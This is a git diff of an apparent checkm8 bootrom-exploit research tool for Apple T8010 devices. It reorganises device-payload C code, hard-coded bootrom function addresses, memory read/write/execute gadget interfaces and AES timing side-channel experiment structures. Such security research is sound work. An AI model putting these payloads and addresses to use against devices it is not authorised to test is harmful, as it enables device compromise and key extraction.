Compare commits
45 Commits
83ca059295
...
0320e5cea7
| Author | SHA1 | Date | |
|---|---|---|---|
| 0320e5cea7 | |||
| 938cbe044b | |||
| a9550de75a | |||
| aff4be3a65 | |||
| 8cca9a2930 | |||
| a5d1121675 | |||
| 1bd577596b | |||
| bf6153062d | |||
| d0af1d9819 | |||
| 6462401fee | |||
| 3334ccd17e | |||
| 3adc4c2e72 | |||
| df40cc6970 | |||
| 6ec02145b3 | |||
| 14ffb6b7c3 | |||
| a66ff906bd | |||
| db97653fc2 | |||
| 94fe326afb | |||
| a5995cd4aa | |||
| eb225122e5 | |||
| 29b4c63ffd | |||
| d8a22d5e34 | |||
|
|
60dd861370 | ||
| d04b884487 | |||
| 34703b958e | |||
| ab93d72633 | |||
| 059461ccbd | |||
| 3e64bd8bab | |||
| a6ddec511a | |||
| 33f3ab9a0d | |||
| 823c914e84 | |||
| 8b25a00bd4 | |||
| d407c17c0f | |||
| 637fd548f5 | |||
| 80fd4f6b4c | |||
| bd4c9b8196 | |||
| 983ad0ad29 | |||
| 5143528433 | |||
| 0e094be537 | |||
|
|
200865c8a6 | ||
|
|
1423f51aef | ||
| 5c8579c913 | |||
| cd3eb5edf0 | |||
| 79d3b72d15 | |||
| e341d51bf9 |
2
.gitignore
vendored
2
.gitignore
vendored
@@ -6,4 +6,4 @@ cmake-build-debug/
|
||||
/c8_arduino/cmake-build-debug/
|
||||
|
||||
# generated files
|
||||
/c8_remote/include/libpayload.h
|
||||
/c8_remote/include/tool/libpayload.h
|
||||
@@ -1,9 +1,11 @@
|
||||
cmake_minimum_required(VERSION 3.10)
|
||||
project(checkm8_tool)
|
||||
enable_language(C)
|
||||
enable_language(C ASM)
|
||||
|
||||
include(${CMAKE_ROOT}/Modules/ExternalProject.cmake)
|
||||
|
||||
include_directories(c8_remote/include)
|
||||
include_directories(include)
|
||||
|
||||
#add_subdirectory(c8_arduino)
|
||||
add_subdirectory(c8_remote/lib)
|
||||
add_subdirectory(c8_remote)
|
||||
add_subdirectory(c8_libpayload)
|
||||
|
||||
@@ -1,24 +0,0 @@
|
||||
#ifndef CHECKM8_TOOL_BRFUNC_AES_H
|
||||
#define CHECKM8_TOOL_BRFUNC_AES_H
|
||||
|
||||
#include "brfunc_common.h"
|
||||
|
||||
int aes_hw_crypto_cmd(unsigned long long cmd,
|
||||
unsigned char *src, unsigned char *dst,
|
||||
int len, unsigned long long opts,
|
||||
unsigned char *key, unsigned char *iv)
|
||||
{
|
||||
return ((BOOTROM_FUNC) ADDR_AES_HW_CRYPTO_CMD)(cmd, src, dst, len, opts, key, iv);
|
||||
}
|
||||
|
||||
#define CREATE_KEY_COMMAND ((BOOTROM_FUNC) ADDR_CREATE_KEY_COMMAND)
|
||||
#define PUSH_COMMAND_KEY ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_KEY)
|
||||
#define PUSH_COMMAND_IV ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_IV)
|
||||
#define PUSH_COMMAND_DATA ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_DATA)
|
||||
#define PUSH_COMMAND_FLAG ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_FLAG)
|
||||
#define WAIT_FOR_COMMAND_FLAG ((BOOTROM_FUNC) ADDR_WAIT_FOR_COMMAND)
|
||||
|
||||
#define rAES_INT_STATUS (long *) ADDR_AES_CONTROL
|
||||
#define rAES_CONTROL (long *) ADDR_AES_STATUS
|
||||
|
||||
#endif //CHECKM8_TOOL_BRFUNC_AES_H
|
||||
@@ -1,40 +0,0 @@
|
||||
#ifndef CHECKM8_TOOL_BRFUNC_COMMON_H
|
||||
#define CHECKM8_TOOL_BRFUNC_COMMON_H
|
||||
|
||||
#include "checkm8_config.h"
|
||||
|
||||
typedef int (*BOOTROM_FUNC)();
|
||||
typedef unsigned char (*(*BOOTROM_FUNC_PTR)());
|
||||
|
||||
#if CHECKM8_PLATFORM == 8010
|
||||
|
||||
/* AES */
|
||||
#define ADDR_AES_HW_CRYPTO_CMD 0x100000f0c
|
||||
#define ADDR_CREATE_KEY_COMMAND 0x100000e90
|
||||
#define ADDR_PUSH_COMMAND_KEY 0x100000c64
|
||||
#define ADDR_PUSH_COMMAND_IV 0x100000d18
|
||||
#define ADDR_PUSH_COMMAND_DATA 0x100000d98
|
||||
#define ADDR_PUSH_COMMAND_FLAG 0x100000e20
|
||||
#define ADDR_WAIT_FOR_COMMAND 0x100000ec4
|
||||
|
||||
#define ADDR_AES_CONTROL 0x20A108008
|
||||
#define ADDR_AES_STATUS 0x20A108018
|
||||
|
||||
/* SEP */
|
||||
#define ADDR_DPA_SEEDED 0x100001140
|
||||
#define ADDR_SEND_DPA_MESSAGE 0x100002338
|
||||
|
||||
/* Timing */
|
||||
#define ADDR_CLOCK_GATE 0x100009d4c
|
||||
#define ADDR_SYSTEM_TIME 0x10000B0E0
|
||||
#define ADDR_TIME_HAS_ELAPSED 0x10000B04F
|
||||
#define ADDR_TASK_SLEEP 0x10000ADF0
|
||||
|
||||
/* Boot */
|
||||
#define ADDR_NVME_INIT 0x1000080B4
|
||||
|
||||
#else
|
||||
#error "Unsupported checkm8 platform"
|
||||
#endif
|
||||
|
||||
#endif //CHECKM8_TOOL_BRFUNC_COMMON_H
|
||||
@@ -1,9 +0,0 @@
|
||||
#ifndef CHECKM8_TOOL_BRFUNC_SEP_H
|
||||
#define CHECKM8_TOOL_BRFUNC_SEP_H
|
||||
|
||||
#include "brfunc_common.h"
|
||||
|
||||
#define DPA_SEEDED ((BOOTROM_FUNC) ADDR_DPA_SEEDED)
|
||||
#define SEP_CREATE_SEND_DPA_MESSAGE ((BOOTROM_FUNC) ADDR_SEND_DPA_MESSAGE)
|
||||
|
||||
#endif //CHECKM8_TOOL_BRFUNC_SEP_H
|
||||
@@ -1,10 +0,0 @@
|
||||
#ifndef CHECKM8_TOOL_BRFUNC_TIMING_H
|
||||
#define CHECKM8_TOOL_BRFUNC_TIMING_H
|
||||
|
||||
#include "brfunc_common.h"
|
||||
|
||||
#define CLOCK_GATE ((BOOTROM_FUNC) ADDR_CLOCK_GATE)
|
||||
#define SYSTEM_TIME ((BOOTROM_FUNC) ADDR_SYSTEM_TIME)
|
||||
#define TIME_HAS_ELAPSED ((BOOTROM_FUNC) ADDR_TIME_HAS_ELAPSED)
|
||||
|
||||
#endif //CHECKM8_TOOL_BRFUNC_TIMING_H
|
||||
@@ -1,7 +0,0 @@
|
||||
#ifndef CHECKM8_TOOL_UTIL_H
|
||||
#define CHECKM8_TOOL_UTIL_H
|
||||
|
||||
#define PAYLOAD_SECTION __attribute__ ((section (".payload_text")))
|
||||
#define TEXT_SECTION __attribute__((section (".text")))
|
||||
|
||||
#endif //CHECKM8_TOOL_UTIL_H
|
||||
@@ -1,59 +0,0 @@
|
||||
#include "brfunc_aes.h"
|
||||
#include "brfunc_timing.h"
|
||||
#include "brfunc_sep.h"
|
||||
|
||||
#include "util.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
int aes_hw_crypto_command(unsigned int cmd,
|
||||
void *src,
|
||||
void *dst,
|
||||
int len,
|
||||
unsigned int opts,
|
||||
void *key,
|
||||
void *iv)
|
||||
{
|
||||
int seeded;
|
||||
long cgvar;
|
||||
long start = 0, timeout = 0;
|
||||
|
||||
__asm__("orr %0, xzr, #0x3c" : "=r" (cgvar));
|
||||
CLOCK_GATE(cgvar, 0);
|
||||
|
||||
// seeded = DPA_SEEDED();
|
||||
// if(!(seeded & 1))
|
||||
// {
|
||||
// SEP_CREATE_SEND_DPA_MESSAGE();
|
||||
// start = SYSTEM_TIME();
|
||||
//
|
||||
// while(!(seeded & 1) && !(timeout & 1))
|
||||
// {
|
||||
// seeded = DPA_SEEDED();
|
||||
// timeout = TIME_HAS_ELAPSED(start, 1000);
|
||||
// }
|
||||
// }
|
||||
//
|
||||
// if(timeout) return -1;
|
||||
|
||||
unsigned int key_command = CREATE_KEY_COMMAND(0, 0, 0, 0, 1, 0, 0, 0);
|
||||
*rAES_INT_STATUS = 0x20;
|
||||
*rAES_CONTROL = 1;
|
||||
|
||||
PUSH_COMMAND_KEY(key_command, key);
|
||||
PUSH_COMMAND_IV(0, 0, 0, iv);
|
||||
PUSH_COMMAND_DATA(0, 0, src, dst, len);
|
||||
PUSH_COMMAND_FLAG(0, 1, 1);
|
||||
WAIT_FOR_COMMAND_FLAG();
|
||||
|
||||
*rAES_CONTROL = 2;
|
||||
CLOCK_GATE(cgvar, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
TEXT_SECTION
|
||||
int _start(void *src,
|
||||
void *dst,
|
||||
void *key)
|
||||
{
|
||||
return aes_hw_crypto_command(0, src, dst, 128, 0, key, 0);
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
#include "util.h"
|
||||
#include "brfunc_aes.h"
|
||||
#include "brfunc_timing.h"
|
||||
|
||||
|
||||
TEXT_SECTION
|
||||
int _start(void *src, void *dst, void *key, int rep)
|
||||
{
|
||||
int i, j;
|
||||
unsigned char src_data[16];
|
||||
for(j = 0; j < 16; j++)
|
||||
{
|
||||
src_data[j] = ((unsigned char *) src)[j];
|
||||
}
|
||||
|
||||
// task_sleep(100);
|
||||
for(i = 0; i < rep; i++)
|
||||
{
|
||||
if(i % 2 == 0) aes_hw_crypto_cmd(16, src_data, dst, 16, 0, key, 0);
|
||||
else aes_hw_crypto_cmd(16, dst, src_data, 16, 0, key, 0);
|
||||
// task_sleep(15);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1,26 +0,0 @@
|
||||
#include "util.h"
|
||||
|
||||
TEXT_SECTION
|
||||
unsigned long long _start()
|
||||
{
|
||||
// unsigned long long platform_quiesce_hardware = 0x100007dd0;
|
||||
// unsigned long long enter_critical_section = 0x10000a4b8;
|
||||
// unsigned long long halt = 0x1000004fc;
|
||||
// unsigned long long timer_deadline_enter = 0x10000b874;
|
||||
// unsigned long long now, later;
|
||||
//
|
||||
// ((BOOTROM_FUNC) platform_quiesce_hardware)();
|
||||
// //((BOOTROM_FUNC) enter_critical_section)();
|
||||
//
|
||||
// __asm__ volatile ("mrs %0, cntpct_el0" : "=r" (now));
|
||||
// ((BOOTROM_FUNC) timer_deadline_enter)(now + (24000000) - 64, ((BOOTROM_FUNC) 0x10000b924));
|
||||
// ((BOOTROM_FUNC) halt)();
|
||||
// __asm__ volatile ("mrs %0, cntpct_el0" : "=r" (later));
|
||||
|
||||
volatile unsigned long long regval = 0xffff;
|
||||
__asm__ volatile ("mrs %0, fpcr" : "=r" (regval));
|
||||
regval = (1u << 24u);
|
||||
__asm__ volatile ("msr fpcr, %0" : "=r" (regval));
|
||||
|
||||
return regval;
|
||||
}
|
||||
@@ -1,47 +0,0 @@
|
||||
#include "brfunc_common.h"
|
||||
#include "util.h"
|
||||
|
||||
extern unsigned long long fs_routine(void);
|
||||
|
||||
extern unsigned long long fs_load(float *dividend, int divisor_base);
|
||||
// extern unsigned long long check_subnormal();
|
||||
|
||||
PAYLOAD_SECTION
|
||||
unsigned int is_subnormal(float val)
|
||||
{
|
||||
unsigned int bytes = *((unsigned int *) &val);
|
||||
bytes = bytes >> 23u;
|
||||
|
||||
if(bytes & 0x7u)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
else return 1;
|
||||
}
|
||||
|
||||
TEXT_SECTION
|
||||
unsigned long long _start(float *init_a)
|
||||
{
|
||||
int i;
|
||||
unsigned long long start, end, report;
|
||||
unsigned long long timer_deadline_enter = 0x10000b874;
|
||||
unsigned long long halt = 0x1000004fc;
|
||||
|
||||
while(1)
|
||||
{
|
||||
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (start));
|
||||
fs_load(init_a, 1);
|
||||
for(i = 0; i < 8; i++) fs_routine();
|
||||
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (end));
|
||||
|
||||
if(2 * end - start - 64 > 0)
|
||||
{
|
||||
((BOOTROM_FUNC) timer_deadline_enter)(2 * end - start - 64, ((BOOTROM_FUNC) 0x10000b924));
|
||||
((BOOTROM_FUNC) halt)();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (report));
|
||||
return report - end;
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
#include "util.h"
|
||||
|
||||
TEXT_SECTION
|
||||
void _start()
|
||||
{
|
||||
__asm__("dmb sy");
|
||||
__asm__("ic iallu");
|
||||
__asm__("dsb sy");
|
||||
__asm__("isb");
|
||||
}
|
||||
@@ -1,17 +0,0 @@
|
||||
#include "util.h"
|
||||
|
||||
struct sysregs
|
||||
{
|
||||
long pt_base;
|
||||
long evt_base;
|
||||
};
|
||||
|
||||
TEXT_SECTION
|
||||
long long _start()
|
||||
{
|
||||
struct sysregs res;
|
||||
__asm__("mrs %0, ttbr0_el1" : "=r" (res.pt_base));
|
||||
__asm__("mrs %0, vbar_el1" : "=r" (res.evt_base));
|
||||
|
||||
return res.pt_base;
|
||||
}
|
||||
@@ -1,20 +0,0 @@
|
||||
#include "util.h"
|
||||
#include "brfunc_common.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void task_sleep(unsigned int usec)
|
||||
{
|
||||
((BOOTROM_FUNC) ADDR_TASK_SLEEP)(usec);
|
||||
}
|
||||
|
||||
TEXT_SECTION
|
||||
unsigned long long _start(unsigned int usec)
|
||||
{
|
||||
unsigned long long start, end;
|
||||
|
||||
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (start));
|
||||
task_sleep(usec);
|
||||
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (end));
|
||||
|
||||
return end - start;
|
||||
}
|
||||
@@ -7,4 +7,5 @@ set(CMAKE_C_FLAGS "-g -Wall")
|
||||
include_directories(include)
|
||||
|
||||
add_executable(checkm8_remote main.c src/usb_helpers.c src/exploit.c src/payload.c src/command.c)
|
||||
target_link_libraries(checkm8_remote usb-1.0 pthread udev payload)
|
||||
target_link_libraries(checkm8_remote usb-1.0 pthread udev m)
|
||||
target_link_libraries(checkm8_remote payload experiments host_crypto)
|
||||
@@ -19,6 +19,7 @@
|
||||
#define DEV_IDVENDOR 0x05AC
|
||||
#define DEV_IDPRODUCT 0x1227
|
||||
#define DFU_IMAGE_BASE 0x1800B0000ull
|
||||
#define DEMOTE_REG 0x2102BC000ull
|
||||
|
||||
#else
|
||||
#error "Unspported checkm8 platform"
|
||||
@@ -35,7 +36,8 @@ struct pwned_device
|
||||
unsigned int idVendor;
|
||||
unsigned int idProduct;
|
||||
|
||||
struct payload *installed;
|
||||
struct payload *inst_pl;
|
||||
struct data *inst_data;
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
int ard_fd;
|
||||
@@ -44,7 +46,25 @@ struct pwned_device
|
||||
#endif
|
||||
};
|
||||
|
||||
struct dev_cmd_resp
|
||||
{
|
||||
int ret;
|
||||
unsigned long long magic;
|
||||
unsigned long long retval;
|
||||
unsigned char *data;
|
||||
int len;
|
||||
};
|
||||
|
||||
struct pwned_device *exploit_device();
|
||||
void free_device(struct pwned_device *dev);
|
||||
|
||||
int demote_device(struct pwned_device *dev);
|
||||
int fix_heap(struct pwned_device *dev);
|
||||
|
||||
int open_device_session(struct pwned_device *dev);
|
||||
int close_device_session(struct pwned_device *dev);
|
||||
int is_device_session_open(struct pwned_device *dev);
|
||||
|
||||
void free_dev_cmd_resp(struct dev_cmd_resp *resp);
|
||||
|
||||
#endif //CHECKM8_TOOL_CHECKM8_H
|
||||
|
||||
@@ -1,26 +0,0 @@
|
||||
#ifndef CHECKM8_TOOL_COMMAND_H
|
||||
#define CHECKM8_TOOL_COMMAND_H
|
||||
|
||||
#include "checkm8.h"
|
||||
|
||||
#define CMD_USB_READ_LIMIT 0xFF0
|
||||
|
||||
struct dev_cmd_resp
|
||||
{
|
||||
int ret;
|
||||
unsigned long long magic;
|
||||
unsigned long long retval;
|
||||
unsigned char *data;
|
||||
int len;
|
||||
};
|
||||
|
||||
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsigned char c, int len);
|
||||
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long long src, int len);
|
||||
struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args);
|
||||
|
||||
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, int len);
|
||||
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, unsigned char *data, int len);
|
||||
|
||||
void free_dev_cmd_resp(struct dev_cmd_resp *resp);
|
||||
|
||||
#endif //CHECKM8_TOOL_COMMAND_H
|
||||
56
c8_remote/include/dev/addr.h
Normal file
56
c8_remote/include/dev/addr.h
Normal file
@@ -0,0 +1,56 @@
|
||||
#ifndef CHECKM8_TOOL_ADDR_H
|
||||
#define CHECKM8_TOOL_ADDR_H
|
||||
|
||||
#include "checkm8_config.h"
|
||||
#include "types.h"
|
||||
|
||||
#if CHECKM8_PLATFORM == 8010
|
||||
|
||||
/* Crypto */
|
||||
#define ADDR_HARDWARE_AES 0x100000f0c
|
||||
#define ADDR_GET_RANDOM 0x1000113e0
|
||||
#define ADDR_GET_ENTROPY 0x1000013d4
|
||||
#define ADDR_SHA1 0x10000cc90
|
||||
|
||||
/* Timing */
|
||||
#define ADDR_CLOCK_GATE 0x100009d4c
|
||||
#define ADDR_GET_TIME 0x10000b0e0
|
||||
#define ADDR_GET_TICKS 0x10000041c
|
||||
#define ADDR_TIMER_REGISTER_INT 0x10000b874
|
||||
#define ADDR_WFI 0x1000004fc
|
||||
|
||||
/* Tasking */
|
||||
#define ADDR_TASK_NEW 0x10000a9ac
|
||||
#define ADDR_TASK_RUN 0x10000ac18
|
||||
#define ADDR_TASK_PAUSE 0x10000adf0
|
||||
#define ADDR_TASK_RESCHED 0x10000aaa8
|
||||
#define ADDR_TASK_FREE 0x10000aa20
|
||||
|
||||
#define ADDR_EVENT_NEW 0x10000aed4
|
||||
#define ADDR_EVENT_NOTIFY 0x10000aee8
|
||||
#define ADDR_EVENT_WAIT 0x10000af3c
|
||||
#define ADDR_EVENT_TRY 0x10000af7c
|
||||
|
||||
/* Heap */
|
||||
#define ADDR_CALC_CHKSUM 0x10000ee20
|
||||
#define ADDR_CHECK_BLOCK_CKSUM 0x10000f138
|
||||
#define ADDR_CHECK_ALL_CHKSUMS 0x10000f8b4
|
||||
|
||||
#define ADDR_DEV_MALLOC 0x10000efe0
|
||||
#define ADDR_DEV_MEMALIGN 0x10000f380
|
||||
#define ADDR_DEV_FREE 0x10000f1b0
|
||||
|
||||
/* Misc */
|
||||
#define ADDR_RANDOM_RET 0x10000b924
|
||||
#define ADDR_SYNC_ENTRY 0x1800afc84
|
||||
|
||||
#define ADDR_DFU_RETVAL (int *) 0x180088ac8
|
||||
#define ADDR_DFU_STATUS (unsigned char *) 0x180088ac0
|
||||
#define ADDR_DFU_EVENT (struct event *) 0x180088af0
|
||||
#define ADDR_USB_EVENT (struct event *) 0x1800838c8
|
||||
|
||||
#else
|
||||
#error "Unsupported checkm8 platform"
|
||||
#endif
|
||||
|
||||
#endif //CHECKM8_TOOL_ADDR_H
|
||||
44
c8_remote/include/dev/types.h
Normal file
44
c8_remote/include/dev/types.h
Normal file
@@ -0,0 +1,44 @@
|
||||
#ifndef CHECKM8_TOOL_TYPES_H
|
||||
#define CHECKM8_TOOL_TYPES_H
|
||||
|
||||
struct event
|
||||
{
|
||||
unsigned int dat0;
|
||||
unsigned int dat1;
|
||||
unsigned long long dat2;
|
||||
unsigned long long dat3;
|
||||
} __attribute__ ((packed));
|
||||
|
||||
struct aes_constants
|
||||
{
|
||||
unsigned char sbox[16][16];
|
||||
unsigned char rc_lookup[11];
|
||||
unsigned char mul2[256];
|
||||
unsigned char mul3[256];
|
||||
} __attribute__ ((packed));
|
||||
|
||||
struct bern_data
|
||||
{
|
||||
double t[16][256];
|
||||
double tsq[16][256];
|
||||
double tnum[16][256];
|
||||
|
||||
unsigned long long count;
|
||||
double ttotal;
|
||||
|
||||
struct event ev_data;
|
||||
struct event ev_done;
|
||||
} __attribute__ ((packed));
|
||||
|
||||
#define N_CORR_ENTRIES 1024*256
|
||||
|
||||
struct corr_data
|
||||
{
|
||||
struct event ev_cont;
|
||||
|
||||
int num_cutoff;
|
||||
unsigned char msg[16];
|
||||
unsigned char data[N_CORR_ENTRIES];
|
||||
};
|
||||
|
||||
#endif //CHECKM8_TOOL_TYPES_H
|
||||
@@ -1,32 +0,0 @@
|
||||
#ifndef CHECKM8_TOOL_PAYLOAD_H
|
||||
#define CHECKM8_TOOL_PAYLOAD_H
|
||||
|
||||
#include "checkm8.h"
|
||||
|
||||
typedef enum
|
||||
{
|
||||
PAYLOAD_AES,
|
||||
PAYLOAD_AES_BUSY,
|
||||
PAYLOAD_AES_SW,
|
||||
PAYLOAD_BOOTSTRAP,
|
||||
PAYLOAD_FLOPPYSLEEP,
|
||||
PAYLOAD_SYNC,
|
||||
PAYLOAD_SYSREG,
|
||||
PAYLOAD_TASK_SLEEP_TEST
|
||||
} PAYLOAD_T;
|
||||
|
||||
typedef enum
|
||||
{
|
||||
SRAM,
|
||||
DRAM
|
||||
} LOCATION_T;
|
||||
|
||||
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
|
||||
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
|
||||
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...);
|
||||
|
||||
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, long long addr, int len);
|
||||
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, long long addr, unsigned char *data, int len);
|
||||
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, long long addr, int response_len, int nargs, ...);
|
||||
|
||||
#endif //CHECKM8_TOOL_PAYLOAD_H
|
||||
15
c8_remote/include/tool/command.h
Normal file
15
c8_remote/include/tool/command.h
Normal file
@@ -0,0 +1,15 @@
|
||||
#ifndef CHECKM8_TOOL_COMMAND_H
|
||||
#define CHECKM8_TOOL_COMMAND_H
|
||||
|
||||
#include "checkm8.h"
|
||||
|
||||
#define CMD_USB_READ_LIMIT 0xFF0
|
||||
|
||||
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, unsigned long long addr, unsigned char c, int len);
|
||||
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, unsigned long long dest, unsigned long long src, int len);
|
||||
struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args);
|
||||
|
||||
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, unsigned long long addr, int len);
|
||||
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, unsigned long long addr, unsigned char *data, int len);
|
||||
|
||||
#endif //CHECKM8_TOOL_COMMAND_H
|
||||
44
c8_remote/include/tool/payload.h
Normal file
44
c8_remote/include/tool/payload.h
Normal file
@@ -0,0 +1,44 @@
|
||||
#ifndef CHECKM8_TOOL_PAYLOAD_H
|
||||
#define CHECKM8_TOOL_PAYLOAD_H
|
||||
|
||||
#include "checkm8.h"
|
||||
|
||||
typedef enum
|
||||
{
|
||||
PAYLOAD_AES_BUSY,
|
||||
PAYLOAD_AES_SW_BERN,
|
||||
PAYLOAD_AES_SW_CORR,
|
||||
PAYLOAD_CACHELIB,
|
||||
PAYLOAD_EXIT_USB_TASK,
|
||||
PAYLOAD_FLOPPYSLEEP,
|
||||
PAYLOAD_SYNC,
|
||||
} PAYLOAD_T;
|
||||
|
||||
typedef enum
|
||||
{
|
||||
SRAM,
|
||||
DRAM
|
||||
} LOCATION_T;
|
||||
|
||||
#define DEV_PTR_NULL -1ull
|
||||
typedef unsigned long long DEV_PTR_T;
|
||||
|
||||
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
|
||||
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
|
||||
int uninstall_all_payloads(struct pwned_device *dev);
|
||||
DEV_PTR_T get_payload_address(struct pwned_device *dev, PAYLOAD_T p);
|
||||
|
||||
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...);
|
||||
DEV_PTR_T setup_payload_async(struct pwned_device *dev, PAYLOAD_T p, int bufsize, int nargs, ...);
|
||||
int run_payload_async(struct pwned_device *dev, PAYLOAD_T p);
|
||||
int kill_payload_async(struct pwned_device *dev, PAYLOAD_T p, DEV_PTR_T buf_addr);
|
||||
|
||||
DEV_PTR_T install_data(struct pwned_device *dev, LOCATION_T loc, unsigned char *data, int len);
|
||||
int uninstall_data(struct pwned_device *dev, DEV_PTR_T ptr);
|
||||
int uninstall_all_data(struct pwned_device *dev);
|
||||
|
||||
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, DEV_PTR_T addr, int len);
|
||||
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, DEV_PTR_T addr, unsigned char *data, int len);
|
||||
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, DEV_PTR_T addr, int response_len, int nargs, ...);
|
||||
|
||||
#endif //CHECKM8_TOOL_PAYLOAD_H
|
||||
@@ -15,10 +15,6 @@ struct libusb_device_bundle
|
||||
};
|
||||
#endif
|
||||
|
||||
int open_device_session(struct pwned_device *dev);
|
||||
int close_device_session(struct pwned_device *dev);
|
||||
int is_device_session_open(struct pwned_device *dev);
|
||||
|
||||
int partial_ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
21
c8_remote/include/util/experiments.h
Normal file
21
c8_remote/include/util/experiments.h
Normal file
@@ -0,0 +1,21 @@
|
||||
#ifndef CHECKM8_TOOL_EXPERIMENTS_H
|
||||
#define CHECKM8_TOOL_EXPERIMENTS_H
|
||||
|
||||
#include "tool/payload.h"
|
||||
#include "dev/types.h"
|
||||
|
||||
/* AES Software */
|
||||
DEV_PTR_T setup_bern_exp(struct pwned_device *dev);
|
||||
struct bern_data *get_bern_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf);
|
||||
|
||||
DEV_PTR_T setup_corr_exp(struct pwned_device *dev, unsigned char *init_key);
|
||||
struct corr_data *get_corr_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf);
|
||||
|
||||
/* System */
|
||||
void usb_task_exit(struct pwned_device *dev);
|
||||
|
||||
/* Power */
|
||||
void floppysleep(struct pwned_device *dev);
|
||||
void floppysleep_async(struct pwned_device *dev);
|
||||
|
||||
#endif //CHECKM8_TOOL_EXPERIMENTS_H
|
||||
14
c8_remote/include/util/host_crypto.h
Normal file
14
c8_remote/include/util/host_crypto.h
Normal file
@@ -0,0 +1,14 @@
|
||||
#ifndef CHECKM8_TOOL_HOST_CRYPTO_H
|
||||
#define CHECKM8_TOOL_HOST_CRYPTO_H
|
||||
|
||||
#include "dev/types.h"
|
||||
|
||||
void expand_key(unsigned char key[16], unsigned char key_sched[176],
|
||||
int n, struct aes_constants *c);
|
||||
|
||||
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
|
||||
unsigned char key_sched[176], struct aes_constants *c);
|
||||
|
||||
struct aes_constants *get_constants();
|
||||
|
||||
#endif //CHECKM8_TOOL_HOST_CRYPTO_H
|
||||
@@ -1,35 +1,34 @@
|
||||
project(checkm8_libpayload)
|
||||
|
||||
set(PL_NAMES
|
||||
aes
|
||||
aes_busy
|
||||
aes_sw
|
||||
bootstrap
|
||||
aes_sw_bern
|
||||
aes_sw_corr
|
||||
cachelib
|
||||
exit_usb_task
|
||||
floppysleep
|
||||
sync
|
||||
sysreg
|
||||
task_sleep_test)
|
||||
)
|
||||
|
||||
foreach(NAME ${PL_NAMES})
|
||||
list(APPEND PL_TARGETS "payload_${NAME}")
|
||||
list(APPEND PL_SRC_BIN "${CMAKE_CURRENT_LIST_DIR}/pl/src/${NAME}.c")
|
||||
list(APPEND PL_SRC_BIN "${CMAKE_CURRENT_LIST_DIR}/payload/src/${NAME}.c")
|
||||
endforeach(NAME)
|
||||
|
||||
foreach(TARGET ${PL_TARGETS})
|
||||
list(APPEND PL_SRC_LIB "${CMAKE_CURRENT_BINARY_DIR}/lib/${TARGET}.c")
|
||||
list(APPEND PL_BIN "${CMAKE_CURRENT_BINARY_DIR}/pl/bin/${TARGET}.bin")
|
||||
list(APPEND PL_SRC_LIB "${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles/${TARGET}.c")
|
||||
list(APPEND PL_BIN "${CMAKE_CURRENT_BINARY_DIR}/payload/bin/${TARGET}.bin")
|
||||
endforeach(TARGET)
|
||||
|
||||
add_subdirectory(pl)
|
||||
set(CMAKE_C_FLAGS "-g -Wall")
|
||||
add_subdirectory(${CMAKE_CURRENT_LIST_DIR}/payload)
|
||||
|
||||
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/lib)
|
||||
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles)
|
||||
add_custom_target(payload_sources
|
||||
BYPRODUCTS ${PL_SRC_LIB}
|
||||
DEPENDS ${PL_TARGETS}
|
||||
COMMENT "Refreshing payload library"
|
||||
COMMAND python3 ${CMAKE_CURRENT_LIST_DIR}/scripts/librarize.py
|
||||
${CMAKE_CURRENT_BINARY_DIR}/pl/bin
|
||||
${CMAKE_CURRENT_BINARY_DIR}/lib)
|
||||
${CMAKE_CURRENT_BINARY_DIR}/payload/bin
|
||||
${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles)
|
||||
|
||||
add_library(payload ${PL_SRC_LIB})
|
||||
add_dependencies(payload payload_sources)
|
||||
